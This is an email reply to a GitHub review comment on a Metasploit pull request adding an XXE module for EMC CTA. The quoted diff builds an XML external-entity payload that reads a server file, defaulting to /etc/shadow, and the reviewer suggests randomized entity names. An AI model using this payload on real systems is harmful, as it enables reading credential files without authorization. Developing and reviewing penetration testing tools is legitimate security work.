Yeah, I can add some randomness to this. I need to add it to the AlienVault
module as well. Using static markers.


On Wed, Apr 2, 2014 at 4:00 PM, Christian Mehlmauer <
notifications@github.com> wrote:

> In modules/auxiliary/gather/emc_cta_xxe.rb:
>
> > +    register_options(
> > +      [
> > +        Opt::RPORT(443),
> > +        OptBool.new('SSL', [true, 'Use SSL', true]),
> > +        OptString.new('SSLVersion', [true, 'SSL version', 'TLS1']),
> > +        OptString.new('TARGETURI', [ true, "Base directory path", '/']),
> > +        OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/shadow"]),
> > +      ], self.class)
> > +  end
> > +
> > +  def run
> > +
> > +    pay = %Q{<?xml version="1.0" encoding="ISO-8859-1"?>
> > +<!DOCTYPE foo [
> > +<!ELEMENT foo ANY >
> > +<!ENTITY xxe SYSTEM "file://#{datastore['FILEPATH']}" >]>
>
> Maybe use Rex::Text.rand_text_alpha(x) instead of xxe ? (and maybe footoo)
>
> --
> Reply to this email directly or view it on GitHub<https://github.com/rapid7/metasploit-framework/pull/3180/files#r11227442>
> .
>



-- 
http://volatile-minds.blogspot.com -- blog
http://www.volatileminds.net -- website